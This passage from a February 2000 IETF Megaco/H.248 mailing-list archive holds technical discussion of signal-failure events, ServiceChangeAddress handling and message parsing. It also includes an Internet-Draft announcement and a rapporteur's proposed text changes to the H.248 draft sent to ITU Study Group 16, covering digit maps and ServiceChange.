them.  The key issue is whether you would need to know about ANY failure
or only those of selected signals.
        

      

    








--

oooooooooooooooooooooooooooooooooooooooooooooo

  Paul Hollis

  Ericsson Eurolab Deutschland GmbH

  Ericsson Allee 1

  D-52134 Herzogenrath

  Germany

  Phone: +49 2407 575 8092

  email: Paul.Hollis@ericsson.com.au

oooooooooooooooooooooooooooooooooooooooooooooo

 

--------------BD54144ED1902977894A9765--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 06:48:34 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA02272
	for ; Mon, 7 Feb 2000 06:48:33 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.DF639000@standards.nortelnetworks.com>; Mon, 7 Feb 2000 6:45:07 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 28483 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 06:44:28 -0500
Received: from ietf.org (132.151.1.176) by standards.nortelnetworks.com (LSMTP
          for Windows NT v1.1a) with SMTP id
          <0.6165CC50@standards.nortelnetworks.com>; Mon, 7 Feb 2000 6:34:27
          -0500
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org
          (8.9.1a/8.9.1a) with ESMTP id GAA02117; Mon, 7 Feb 2000 06:36:46
          -0500 (EST)
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
Message-ID:  <200002071136.GAA02117@ietf.org>
Date:         Mon, 7 Feb 2000 06:36:45 -0500
Reply-To: Internet-Drafts@ietf.org
Sender: "Media Gateway Control (megaco)"
              
Comments:     RFC822 error:  Incorrect or incomplete address field found and
              ignored.
From: Internet-Drafts@ietf.org
Subject:      I-D ACTION:draft-ietf-megaco-fmtdeterm-00.txt
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Media Gateway Control Working Group of the IETF.

        Title           : Fax, Modem, Text Telephone Determination using
                          Megacoo/H.248
        Author(s)       : R. Spitzer, Z. Bilalis, G. Hellstrom,
                          J. Rafferty, G. Parsons
        Filename        : draft-ietf-megaco-fmtdeterm-00.txt
        Pages           : 10
        Date            : 04-Feb-00

This document discusses the dynamic determination of
Voice/Modem/FAX/Text Telephone over a single port using Megaco and
refers to the packages described for Megaco. The document aims to become
an Appendix to Megaco and to be the base for the 'application guide'.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-megaco-fmtdeterm-00.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
        "get draft-ietf-megaco-fmtdeterm-00.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
        mailserv@ietf.org.
In the body type:
        "FILE /internet-drafts/draft-ietf-megaco-fmtdeterm-00.txt".

NOTE:   The mail server at ietf.org can return the document in
        MIME-encoded form by using the "mpack" utility.  To use this
        feature, insert the command "ENCODING mime" before the "FILE"
        command.  To decode the response(s), you will need "munpack" or
        a MIME-compliant mail reader.  Different MIME-compliant mail readers
        exhibit different behavior, especially when dealing with
        "multipart" MIME messages (i.e. documents which have been split
        up into multiple messages), so check your local documentation on
        how to manipulate these messages.


Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
        access-type="mail-server";
        server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:     <20000204120858.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-megaco-fmtdeterm-00.txt

--OtherAccess
Content-Type: Message/External-body;
        name="draft-ietf-megaco-fmtdeterm-00.txt";
        site="ftp.ietf.org";
        access-type="anon-ftp";
        directory="internet-drafts"

Content-Type: text/plain
Content-ID:     <20000204120858.I-D@ietf.org>

--OtherAccess--

--NextPart--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 07:35:01 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA03910
	for ; Mon, 7 Feb 2000 07:35:01 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.750E04E0@standards.nortelnetworks.com>; Mon, 7 Feb 2000 7:32:16 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 28589 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 07:30:37 -0500
Received: from ficon-tech.com (12.10.198.190) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.38F4E320@standards.nortelnetworks.com>; Mon, 7 Feb 2000 7:30:35
          -0500
Received: from ficon-tech.com (sphilip.india.ficon-tech.com [172.25.1.104]) by
          ficon-tech.com (8.9.3/8.8.7) with ESMTP id RAA61889 for
          ; Mon, 7 Feb 2000 17:57:30 +0530
          (IST) (envelope-from sphilip@ficon-tech.com)
X-Mailer: Mozilla 4.7 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <389EBB4A.F62C1C1B@ficon-tech.com>
Date:         Mon, 7 Feb 2000 18:02:10 +0530
Reply-To: Shalini Philip 
Sender: "Media Gateway Control (megaco)"
              
From: Shalini Philip 
Organization: Ficon Technology
Subject:      Service Change Command Reply from MGC
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hello all,

    This is regarding the message sequence between MG and MGC  when an
MG boots up and attempts to register with an MGC. Refer to Section 7.2.8
where it is said that
"The MGC may specify the ServiceChangeAddress for the MG to use in the
returned result ServiceDescriptor.
The MG shall use this address for any subsequent communication with the
MGC."

As discussed earlier on the mailing list (I am not able to trace the
exact mail), I think we need to explicitly state here that "if the MGC
specifies a new ServiceChangeAddress in the ServiceChange Reply, MG
SHALL have to establish the association with the MGC again by sending a
ServiceChange Command on the new ServiceChangeAddress".


Regards,

Shalini Philip
Ficon Technology
E-Mail : mailto:sphilip@ficon-tech.com
Web    : http://www.ficon-tech.com


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 09:20:28 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA10076
	for ; Mon, 7 Feb 2000 09:20:28 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.25AB9C00@standards.nortelnetworks.com>; Mon, 7 Feb 2000 9:17:25 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 28694 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 09:15:27 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.79E2D290@standards.nortelnetworks.com>; Mon, 7 Feb 2000 9:05:27
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id JAA20058; Mon, 7 Feb
          2000 09:07:37 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id JAA22846; Mon, 7 Feb
          2000 09:07:40 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTT7Q6>; Mon, 7 Feb 2000 09:04:21 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF2088AA@whq-msgusr-02.fore.com>
Date:         Mon, 7 Feb 2000 09:07:29 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Service Change Command Reply from MGC
X-To:         Shalini Philip 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

It was never decided that the MG would have to send a new ServiceChange at
the new address.  This is a change in behavior,
which I would be reluctant to agree to at this point.  You
don't use this mechanism to hand off to another MGC, so the original
MGC should know what to expect next.

Brian

> -----Original Message-----
> From: Shalini Philip [mailto:sphilip@ficon-tech.com]
> Sent: Monday, February 07, 2000 7:32 AM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Service Change Command Reply from MGC
>
>
> Hello all,
>
>     This is regarding the message sequence between MG and MGC  when an
> MG boots up and attempts to register with an MGC. Refer to
> Section 7.2.8
> where it is said that
> "The MGC may specify the ServiceChangeAddress for the MG to use in the
> returned result ServiceDescriptor.
> The MG shall use this address for any subsequent
> communication with the
> MGC."
>
> As discussed earlier on the mailing list (I am not able to trace the
> exact mail), I think we need to explicitly state here that "if the MGC
> specifies a new ServiceChangeAddress in the ServiceChange Reply, MG
> SHALL have to establish the association with the MGC again by
> sending a
> ServiceChange Command on the new ServiceChangeAddress".
>
>
> Regards,
>
> Shalini Philip
> Ficon Technology
> E-Mail : mailto:sphilip@ficon-tech.com
> Web    : http://www.ficon-tech.com
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 09:20:29 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA10078
	for ; Mon, 7 Feb 2000 09:20:28 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.26574550@standards.nortelnetworks.com>; Mon, 7 Feb 2000 9:17:26 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 28696 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 09:16:33 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.A0E89960@standards.nortelnetworks.com>; Mon, 7 Feb 2000 9:06:33
          -0500
Received: from zmers013 by smtprch1.nortel.com; Mon, 7 Feb 2000 08:08:09 -0600
Received: from zcard015.ca.nortel.com by zmers013; Mon, 7 Feb 2000 09:08:04
          -0500
Received: from zrtpd00z.us.nortel.com ([47.140.224.110]) by
          zcard015.ca.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 1D8XG73V; Mon, 7 Feb 2000 09:08:04
          -0500
Received: from nortelnetworks.com (PMERY0H8 [47.190.16.137]) by
          zrtpd00z.us.nortel.com with SMTP (Microsoft Exchange Internet Mail
          Service Version 5.5.2650.21) id 1D90CN35; Mon, 7 Feb 2000 09:08:03
          -0500
X-Mailer: Mozilla 4.5 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF2088A8@whq-msgusr-02.fore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <389ED237.2EC6759D@nortelnetworks.com>
Date:         Mon, 7 Feb 2000 09:09:59 -0500
Reply-To: Michael Brown 
Sender: "Media Gateway Control (megaco)"
              
From: Michael Brown 
Organization: Nortel Networks
Subject:      Re: Signalling Failure
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

I agree with this approach. It has the capability to be as specific as
needed with the failure cause parameter and as Brian points out, it is
always available for all packages.

Michael

"Rosen, Brian" wrote:

> I'd rather see failure with the general failure event.
> I don't like exceptions.  The general failure event is there
> for just this kind of thing - an asynchronous failure.
> It has no catches, it's there when you want it.
>
> Brian
>
> > -----Original Message-----
> > From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
> > Sent: Friday, February 04, 2000 7:13 PM
> > To: Brian Rosen; Flemming Andreasen;
> > megaco@standards.nortelnetworks.com
> > Subject: Signalling Failure
> >
> >
> > I've solved the signalling failure problem, maybe.  I add a
> > parameter to the
> > signal completion event indicating how the signal was
> > terminated: timeout,
> > event, new signal descriptor, or failure.  The catch is that
> > failures are
> > only reported for events for which notifyCompletion is TRUE.
> >
> > Tom Taylor
> > Advisor -- Emerging Carrier IP Standards
> > E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
> > Phone and FAX: +1 613 736 0961
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 09:41:28 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA11071
	for ; Mon, 7 Feb 2000 09:41:25 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.17E93DE0@standards.nortelnetworks.com>; Mon, 7 Feb 2000 9:38:30 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 28765 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 09:36:57 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.7AC6C290@standards.nortelnetworks.com>; Mon, 7 Feb 2000 9:26:57
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id JAA22620; Mon, 7 Feb
          2000 09:29:13 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id JAA28563; Mon, 7 Feb
          2000 09:29:16 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1JCTT8CH>; Mon, 7 Feb 2000 09:25:57 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF2088AC@whq-msgusr-02.fore.com>
Date:         Mon, 7 Feb 2000 09:29:13 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: About Megaco Message Parser
X-To:         "titty@cdotb.ernet.in" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

> 1. Can Megaco be used for an implementation currently?.
Yes, several people are implementing Megaco now.  There is some
instability in a few areas, but nothing that prevents starting.

> 2. Are there any reference implementations available?.
Not that I know of.  Volunteers accepted!!

>
> About Megaco Message Parsing.
> 1. Do we need to use lex/yacc or can we do it with any other simple
> mechanism.
You can use lex/yacc, or build another kind of parser.  I've had
some discussions with people doing LALR and LL(1) parsers.  In
some cases, very small changes may be needed in the grammar
depending on the exact rules of the parser.

> 2. Also for embedded systems how will we do it.
Depends on what facilities are available in your OS, and what
parser tools you have.

>
> Do we need to do both binary and text encoding of the protocol.
No, you need text, binary is optional.  A PERSONAL opinion, sure to
be scorned by some, is that binary will never make it in this protocol.  The
really interesting thing is that, given one text and
one binary implementation, and some example messages, we can put
the size/efficiency argument to rest, as long as you don't care
about the last couple percent (for which we can endlessly argue
about implementation quality!)

Brian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 09:54:31 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA11505
	for ; Mon, 7 Feb 2000 09:54:28 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.EA4EFA30@standards.nortelnetworks.com>; Mon, 7 Feb 2000 9:51:33 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 28805 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 09:49:36 -0500
Received: from mtiwmhc02.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.A4DC0BF0@standards.nortelnetworks.com>; Mon, 7 Feb 2000 9:49:36
          -0500
Received: from worldnet.att.net ([12.78.105.104]) by mtiwmhc02.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000207145152.BOME26879@worldnet.att.net>; Mon, 7 Feb 2000 14:51:52
          +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF2088A8@whq-msgusr-02.fore.com>
            <389ED237.2EC6759D@nortelnetworks.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <389EDBF0.BDA90FD@worldnet.att.net>
Date:         Mon, 7 Feb 2000 09:51:29 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Signalling Failure
X-To:         Michael Brown 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Yes, such an approach seems reasonable. However, the general failure event
(Cause in Generic I presume) then needs to be expanded a little. More
specifically, you must be able to specify that:
1. You had a signal failure
2. Which signal actually failed

-- Flemming


Michael Brown wrote:

> I agree with this approach. It has the capability to be as specific as
> needed with the failure cause parameter and as Brian points out, it is
> always available for all packages.
>
> Michael
>
> "Rosen, Brian" wrote:
>
> > I'd rather see failure with the general failure event.
> > I don't like exceptions.  The general failure event is there
> > for just this kind of thing - an asynchronous failure.
> > It has no catches, it's there when you want it.
> >
> > Brian
> >
> > > -----Original Message-----
> > > From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
> > > Sent: Friday, February 04, 2000 7:13 PM
> > > To: Brian Rosen; Flemming Andreasen;
> > > megaco@standards.nortelnetworks.com
> > > Subject: Signalling Failure
> > >
> > >
> > > I've solved the signalling failure problem, maybe.  I add a
> > > parameter to the
> > > signal completion event indicating how the signal was
> > > terminated: timeout,
> > > event, new signal descriptor, or failure.  The catch is that
> > > failures are
> > > only reported for events for which notifyCompletion is TRUE.
> > >
> > > Tom Taylor
> > > Advisor -- Emerging Carrier IP Standards
> > > E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
> > > Phone and FAX: +1 613 736 0961
> > >

--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Feb  7 10:02:07 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA11881
	for ; Mon, 7 Feb 2000 10:02:02 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E596ACD0@standards.nortelnetworks.com>; Mon, 7 Feb 2000 9:58:34 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 28825 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 7 Feb 2000 09:56:39 -0500
Received: from smtprch1.nortel.com (192.135.215.14) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.A0E4EBB0@standards.nortelnetworks.com>; Mon, 7 Feb 2000 9:56:39
          -0500
Received: from zmers013 by smtprch1.nortel.com; Mon, 7 Feb 2000 08:58:37 -0600
Received: from zrtpd004.us.nortel.com (actually nrtpd004) by zmers013; Mon, 7
          Feb 2000 09:58:26 -0500
Received: by zrtpd004.us.nortel.com with Internet Mail Service (5.5.2650.21) id
          <1NWN5JYA>; Mon, 7 Feb 2000 09:58:25 -0500
X-Mailer: Internet Mail Service (5.5.2650.21)
Message-ID:  
Date:         Mon, 7 Feb 2000 09:58:23 -0500
Reply-To: Tom-PT Taylor 
Sender: "Media Gateway Control (megaco)"
              
From: Tom-PT Taylor 
Subject:      Updates Submitted To ITU Based On Issue Scorecard
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

What follows below is the document I submitted to Study Group 16 based on
our past two weeks' discussion.  Please note in particular the
clarifications to 7.1.14, digit maps.  I found that the introduction of
long-duration tones required very careful spelling out of the processing of
events against the digit map alternatives.

All of these comments are against the v14 document.

ITU - Telecommunication Standardization Sector  Temporary Document XX (WP
2/16)
STUDY GROUP 16

Geneva, 7-18 February 2000

Question(s):      Q.14/16

SOURCE*:        Rapporteur

TITLE:  Additional Changes to draft recommendation H.248

___________________
Introduction
This document lists additional changes made to draft recommendation H.248
after submitting the white document to ITU and the changes listed in
Temporary Document 32 (WP2/16).  These changes are meant to be applied on
top of the TD 32/2 changes.
These detailed changes result from discussions with interested parties from
SG 16 and from IETF megaco working group over the last few weeks.

Proposed Changes
===========
The section numbers in this contribution refer to section numbers in the
revised draft recommendation (TD-XXX) as submitted to this meeting.

Section 7.1.6
===========
Action: replace the last sentence of the first paragraph of this section
with new text:
(start of changed text)
A stream is deleted by setting empty Local and Remote descriptors for the
stream with Reserve in LocalControl set to "false" on all terminations in
the context which previously supported that stream.
(end of changed text)
Motivation: deletion of a protocol mechanism which clarifications in TD 32/2
have rendered unnecessary.

Section 7.1.7
===========
Actions
* remove "delete" as an allowed value for the Mode parameter in the first
sentence of the second paragraph of the section
* delete the final sentence of that paragraph
(begin deleted text)
Mode set to delete is used to remove a stream from a termination.
(end of deleted text)
Motivation: deletion of a protocol mechanism which clarifications in TD 32/2
have rendered unnecessary.

Section 7.1.11
===========
Actions
* replace  the last two sentences of the second paragraph:
(begin replacement text)
Finally, the optional parameter "notifyCompletion" allows the MGC to
indicate that it wishes to be notified when this signal finishes playout.
When the MGC enables the Signal Completion event (see section E.1.2) in an
Event Descriptor, that event is detected whenever a signal terminates and
"notifyCompletion" for that signal is set to TRUE.
(end replacement text)

* delete the final paragraph of the section.
(begin deleted text)
If the MGC requested notification of completion for a signal, a Notify
command SHALL be sent by the MG upon completion of that signal.  A Notify
triggered by completion of a signal SHALL NOT affect the state of the
eventbuffer or any active events descriptor.
(end deleted text)

Motivation: replace a special purpose mechanism for notification of signal
completion with the ordinary event mechanism.

Section 7.1.13
===========
Actions
* change Profile to ServiceChangeProfile
* change Version to ServiceChangeVersion
* change MGCIdToTry to ServiceChangeMgcId
Motivation: editorial.

Section 7.1.14
===========
Actions
* replace item 3. in the numbered list in the third paragraph with the
following text
(begin replacement text)
3. If the digit string has matched one of the patterns in the digit map, but
it is possible that more digits could be received which would cause a match
with a different pattern, then instead of reporting the match immediately,
the MG must apply the short timer (S) and wait for more digits.
(end replacement text)

* fifth paragraph, third  and fourth sentences, replace with the following
text:
(begin replacement text)
Each string in the list is an alternative event sequence, specified either
as a sequence of digit map symbols or as a regular expression of digit map
symbols.  These digit map symbols, the digits "0" through "9" and letters
"A" through a maximum value depending on the signalling system concerned,
but never exceeding "K", correspond to specified events within a package
which has been designated in the Events Descriptor on the termination to
which the digit map is being applied.
(end replacement text)

* add a new sentence at the end of the fifth paragraph.
(begin new text)
Finally, the dot symbol "." stands for zero or more repetitions of the event
selector (event, range of events, set of alternative events, or wildcard)
which precedes it.  As a consequence of the third timing rule above,
inter-event timing while matching the dot symbol uses the short timer.
(end new text)

* sixth paragraph, first sentence, delete "S" and the word "and" which
follows it.

* seventh paragraph, currently beginning "A MG that detects ...", replace
paragraph including numbered list with the following text:
(begin replacement text)
A digit map is active while the event descriptor which invoked it is active
and it has not completed.  A digit map completes when:
   * a timer has expired, or
   * an alternative event sequence has been matched and no other alternative
event sequence in the digit map could be matched through detection of an
additional event (unambiguous match), or
   * an event has been detected such that a match to a complete alternative
event sequence of the digit map will be impossible no matter what additional
events are received.
Upon completion, a digit map completion event as defined in the package
providing the events being mapped into the digit map shall be generated.
Pending completion, successive events shall be processed according to the
following rules:
0. The "current dial string", an internal variable, is initially empty.  The
set of candidate alternative event sequences includes all of the
alternatives specified in the digit map.
1. At each step, a timer is set to wait for the next event.  The rules for
determining how long to wait are listed above.  If the timer expires and a
member of the candidate set of alternatives is fully satisfied, a timeout
completion with full match is reported.  If the timer expires and part or
none of any candidate alternative is satisfied, a timeout completion with
partial match is reported.
2. If an event is detected before the timer expires, it is mapped to a digit
string symbol and added to the end of the current dial string.  The duration
of the event (long or not long) is noted if and only if this is relevant in
the current symbol position (because at least one of the candidate
alternative event sequences includes the "L" modifier at this position in
the sequence).
3. The current dial string is compared to the candidate alternative event
sequences, and any of these which do not match are discarded from the
candidate set.  If a sequence expecting a long-duration event at this
position is matched (i.e. the event had long duration and met the
specification for this position), then any alternative event sequences not
specifying a long duration event at this position are discarded, and the
current dial string is modified by inserting an "L" in front of the symbol
representing the latest event.  If no sequence expecting a long-duration
event at this position is matched, any such sequences are discarded from the
candidate set, but the observed event duration is treated as irrelevant in
assessing matches to the remaining candidates.
4. If exactly one candidate remains, a completion event is generated
indicating an unambiguous match.  If no candidates remain, but one of the
candidates from the previous step was fully satisfied before the latest
event was detected, a completion event is generated indicating a full match
and an extra event.  If no candidates remain and no candidate from the
previous step was fully satisfied before the latest event was detected, a
completion event is generated indicating a partial match and an extra event.
If multiple candidates remain, steps 1 through 4 are repeated.

* final paragraph of section, third sentence, and following digit map:
replace with the following
(begin replacement text)
 If the DTMF detection package described in Annex E (section E.6) is used to
collect the dialled digits, then the dialling plan shown above results in
the following digit map:
(0 | 00 | [1-7]xxx | 8xxxxxxx | Fxxxxxxx | Exx | 91xxxxxxxxxx | 9011x. )
(end replacement text)

Motivation: clarify and remove obsolete information from the description of
operation of digit maps.

Section 7.1.17
===========
Actions
* Add the following text after the second sentence (relating to AuditValue):
(begin new text)
In addition, if a digit map is active, the ObservedEventsDescriptor shall
contain a digit map completion event as defined in the package whose events
are being mapped.  This event shall show the contents of the current dial
string at the time the audit request was processed.
(end new text)

* delete the fourth sentence:
(begin deleted text)
If a Notify is sent as a result of a signal completion, the
ObservedEventsDescriptor contains the name of the signal that completed and
the time at which it completed.
(end deleted text)

Section 7.2.5
===========
Action: in the second last paragraph, replace the word "unspecified" with
the word "wildcarded".
Motivation: completion of earlier modifications presented in TD-32
clarifying the operation of audits.

Section 7.2.7
===========
Actions
* Second paragraph after API (third from end), last sentence: delete all
after "... on the termination concerned".
(begin deleted text)
, or as the result of completion of a signal for which the MGC requested
notification of completion
(end deleted text)

* next paragraph, second sentence: replace all after "... triggering
EventsDescriptor ...":
(begin replacement text)
or embedded EventsDescriptor.
(end replacement text)

* delete the final paragraph of the section:
(begin deleted text)
A Notify triggered by completion of a signal, contains the corresponding
signal name in the ObservedEventsDescriptor.
(end deleted text)
Motivation replace a special purpose mechanism for notification of signal
completion with the ordinary event mechanism.

Section 7.2.8
===========
Actions
* API should show TerminationID as a required result.  Other items need
updating to match terminology in the rest of the section.
(begin replacement text)
TerminationID
[ServiceChangeReplyDescriptor]
                ServiceChange(TerminationID,
                        ServiceChangeDescriptor
                )
(end replacement text)

* throughout the section, replace the following ServiceChangeDescriptor
fields: "Profile" becomes "ServiceChangeProfile", "Version" (note initial
capital letter) becomes "ServiceChangeVersion", and "MGCIdToTry" becomes
"ServiceChangeMgcId".

* numbered list in the paragraph beginning "The ServiceChangeMethod
parameter specifies ...", add the following text to the fifth list item
(Handoff method):
(begin new text)
Sent from the MG to the MGC, this indicates that the MG is attempting to
establish a new association in accordance with a Handoff received from the
MGC with which it was previously associated.
(end new text)

* in the next list item (Failover), delete all after "... secondary MG is
taking over"
(begin deleted text)
, and sent from MG to (new) MGC in response to the MG having received a
ServiceChange with ServiceChangeMethod equal to Handoff
(end deleted text)

*  numbered list in the paragraph beginning "The ServiceChangeMethod
parameter specifies ...", add a seventh list item as follows:
(begin new text)
7) Another value whose meaning is mutually understood between the MG and the
MGC.
(end new text)

* second paragraph following this list, beginning "The optional
ServiceChangeAddress parameter ...", add the following sentences at the end
of the paragraph:
(begin new text)
ServiceChangeAddress and ServiceChangeMgcId parameters must not both be
present in the ServiceChangeDescriptor or the ServiceChangeResultDescriptor.
The ServiceChangeAddress provides an address to be used within the context
of the association currently being negotiated, while the ServiceChangeMgcId
provides an alternate address where the MG should seek to establish another
association.
(end new text)

* Following the paragraph beginning "The optional Timestamp parameter
specifies ..." add a new paragraph.
(begin new text)
The optional Extension parameter may contain any value whose meaning is
mutually understood by the MG and MGC.
(end new text)

* In the next paragraph, beginning "A ServiceChange Command specifying the
"Root" ...", replace the fourth to seventh sentences (starting from "The MG
may specify the transport ServiceChangeAddress ...") with the following
text:
(begin replacement text)
The MG may specify an address in the ServiceChangeAddress parameter of the
ServiceChange request, and the MGC may also do so in the ServiceChange
reply.  In either case, the recipient must use the supplied address as the
destination for all subsequent transaction requests within the association.
At the same time, as indicated in section 9, transaction replies and pending
indications must be sent to the address from which the corresponding
requests originated.  This must be done even if  it implies extra messaging
because commands and responses cannot be packed together.
(end replacement text)

